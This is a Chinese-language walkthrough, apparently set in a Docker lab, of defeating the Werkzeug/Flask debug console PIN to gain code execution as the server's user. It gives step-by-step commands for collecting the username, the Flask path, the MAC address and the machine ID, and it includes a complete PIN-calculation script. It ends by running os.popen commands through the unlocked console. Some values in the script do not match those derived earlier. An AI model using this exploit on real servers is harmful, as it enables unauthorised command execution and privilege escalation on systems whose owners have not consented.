情景:Flask服务器在某个权限X的用户名下运行,你是系统中的本地用户,拥有权限Y。你可以访问 Werkzeug 用来生成服务器用户 PIN 的信息并成功解锁控制台后,用户作为服务器运行者会获得操作系统权限实现权限提升。
开启Werkzeug-Debug服务后,Debugger PIN码会打印到控制台中。

1、打开一个新终端,以其他用户身份登录 Docker
sudo docker ps
e0866ddaa40c werkzeug-debug-console:latest "python3 /app/server..." About a minute ago Up About a minute 0.0.0.0:7777->7777/tcp, :::7777->7777/tcp nice_poitras
$ sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app#

PIN码生成方式,我们可以反向生成控制台PIN的算法。
https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py
2、识别运行服务器的用户,地址为7777端口
sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app# ps auxww | grep server
werkzeu+ 1 0.0 1.4 39632 29600 ? Ss 07:53 0:00 python3 /app/server.py
werkzeu+ 7 0.0 1.2 40632 24848 ? S 07:53 0:00 python3 /app/server.py
werkzeu+ 8 0.0 1.5 40268 30568 ? S 07:53 0:00 /usr/local/bin/python3 /app/server.py
werkzeu+ 9 0.2 1.3 114928 26816 ? Sl 07:53 0:02 /usr/local/bin/python3 /app/server.py
root 24 0.0 0.0 3660 1664 pts/0 S+ 08:12 0:00 grep server

werkzeu用户在运行服务器,但服务器名称被截断了,可以通过/etc/passwd 查看完整名称。
root@e0866ddaa40c:/app# cat /etc/passwd
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh

3、复制 werkzeug-user 替换 werkzeug-pin-bypass.py脚本的用户名字段 。
4、找到通往Flask的正确路径
$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py

5、更新 werkzeug-pin-bypass.py脚本中的上述flask路径。如果使用不同的Python版本或操作系统会有所不同。
6、获取服务器所托管接口的 Mac 地址:
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58)
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892354'

或者通过以下方式获取mac地址:
root@e0866ddaa40c:/app# cat /sys/class/net/eth0/address
02:42:ac:11:00:02
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58)
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:02".split(":"))
'0242ac110002'
>>> print(0x0242ac110002)
2485377892354

8、在werkzeug-pin-bypass.py中更新 Mac 地址。
9、在 python3 中运行以下脚本生成机器 ID
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
machine_id += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
print(machine_id)
一句话python命令运行:
python3 -c "m=b'';exec(\"for f in ['/etc/machine-id','/proc/sys/kernel/random/boot_id']:\n try:\n with open(f,'rb') as fp:v=fp.readline().strip()\n if v:m=v;break\n except:continue\");exec(\"try:\n with open('/proc/self/cgroup','rb') as fp:m+=fp.readline().strip().rpartition(b'/')[2]\nexcept:pass\");print(m)"

machine-id:d8433c1e-xxxx-4d3b-8965-xxxxa31dxxxx
10、在werkzeug-pin-bypass.py中更新机器ID。
11、运行这个 werkzeug-pin-bypass.py 脚本获取PIN码
$ python3 werkzeug-pin-bypass.py
Pin: 378-947-877
如果一切顺利,我们将会拥有 PIN 码。如果没有,就重新检查上述步骤。
如果使用的是旧版本的 Werkzeug,试着把哈希算法改成 md5 而不是 sha1。
访问 http://127.0.0.1:7777/console 输入PIN码系统解锁,我们可以运行想要的Python命令。
>>> output = os.popen("id").read()
>>> print(output)
uid=1000(user) gid=1000(user) groups=1000(user)
或
>>> print(os.popen("id").read())
>>> print(os.popen("whoami").read())

注:执行命令直接返回0代表命令执行成功,可以使用print打印命令执行结果。
附:PIN码计算脚本:
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'werkzeug-user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892356',# str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)